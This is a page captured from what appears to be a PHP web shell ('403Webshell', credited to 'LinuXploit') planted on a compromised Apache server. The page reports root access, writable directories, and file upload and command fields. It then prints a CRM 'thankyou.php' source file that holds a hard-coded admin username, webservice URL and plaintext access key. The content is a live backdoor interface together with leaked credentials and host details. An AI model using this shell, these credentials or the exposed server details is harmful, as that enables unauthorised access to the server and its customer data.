403Webshell
Server IP : 138.197.176.125  /  Your IP : 216.73.217.122
Web Server : Apache/2.4.41 (Ubuntu)
System : Linux SuiteCRM-8 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.3.19
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/jetcounter/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/jetcounter/thankyou.php
<?php
		error_reporting(0);
		
		/*include("wp-config.php");
		$master_URL = constant("MASTER_URL").'webservice.php';
		$MasterUsername = constant("MasterUsername");
		$master_Key = constant("master_Key");*/

		$master_URL = 'https://master.saleshiker.com/webservice.php';
		$MasterUsername = 'admin';
		$master_Key = 'pS5R2XZDXJ2eLRv';
		
		require_once 'Zend/Loader.php';
		require_once 'HTTP/Client.php';

		Zend_Loader::loadClass(Zend_Json);
		if(!function_exists('getBody'))
		{
			function getBody($response) {
				return Zend_Json::decode($response["body"]);
			}
		}
		$httpc = new HTTP_CLIENT();
		$httpc->get("$master_URL?operation=getchallenge&username=$MasterUsername");
		$response = $httpc->currentResponse();
		$jsonResponse = Zend_JSON::decode($response['body']);
		if($jsonResponse['success']==false) 
			die('getchallenge failed:'.$jsonResponse['error']['errorMsg']);

		$challengeToken = $jsonResponse['result']['token'];
		$generatedKey = md5($challengeToken.$master_Key);
		$httpc->post("$master_URL", 
		array('operation'=>'login', 'username'=>$MasterUsername, 'accessKey'=>$generatedKey), true);
		$response = $httpc->currentResponse();
		$jsonResponse = Zend_JSON::decode($response['body']);
		$sessionId = $jsonResponse['result']['sessionName']; 
		if($jsonResponse['success']==false)
			die('login failed:'.$jsonResponse['error']['errorMsg']);
		
		$id = $_REQUEST['lid'];
		$query = "select lead_datbasename,lead_tenant_status, email, lead_uniqueid from vtiger_leaddetails INNER JOIN vtiger_crmentity ON vtiger_leaddetails.leadid = vtiger_crmentity.crmid where vtiger_leaddetails.leadid=? AND vtiger_crmentity.deleted=0";
		$arrayName = array($id);
		$objectJson = Zend_JSON::encode($query);
		$objectJsonParam = Zend_JSON::encode($arrayName);
		$params = array("sessionName"=>$sessionId, "operation"=>'custom_query', "query"=>$objectJson, "params"=>$objectJsonParam);
		$httpc->post("$master_URL", $params, true);
		$response = $httpc->currentResponse();
		$jsonResponse = Zend_JSON::decode($response['body']);
		$resultArray = $jsonResponse['result']['fields'];
		$leademail = $resultArray['email'];

		//get thank you page content from email templates - master crm
		$query = "SELECT * FROM `vtiger_emailtemplates` WHERE `templateid`=?";
		$arrayName = array(18);
		$objectJson = Zend_JSON::encode($query);
		$objectJsonParam = Zend_JSON::encode($arrayName);
		$params = array("sessionName"=>$sessionId, "operation"=>'custom_query', "query"=>$objectJson, "params"=>$objectJsonParam);
		$httpc->post("$master_URL", $params, true);
		$response = $httpc->currentResponse();
		$jsonResponse = Zend_JSON::decode($response['body']);
		if($jsonResponse['success']==false){
			echo "<html><head><link rel='SHORTCUT ICON' href='favicon.ico'><style>@import url('https://fonts.googleapis.com/css2?family=Assistant&display=swap');</style></head><body><div style='padding: 150px 0px 0px 0px; font-style: italic; font-size: 40px; color: cadetblue;font-family: Assistant, sans-serif !important;'><center><h1>Thank You</h1></center><center><h6>Please check your email</h6></center></div></body> </html>";exit;
		}else{
			$resultArray = $jsonResponse['result']['fields'];
			$subject = $resultArray['subject'];	
			$body = $resultArray['body'];
			$body = str_replace("LBLEMAIL",$leademail,$body);
			echo $body;
			exit;
		}
	
?> 

Youez - 2016 - github.com/yon3zu
LinuXploit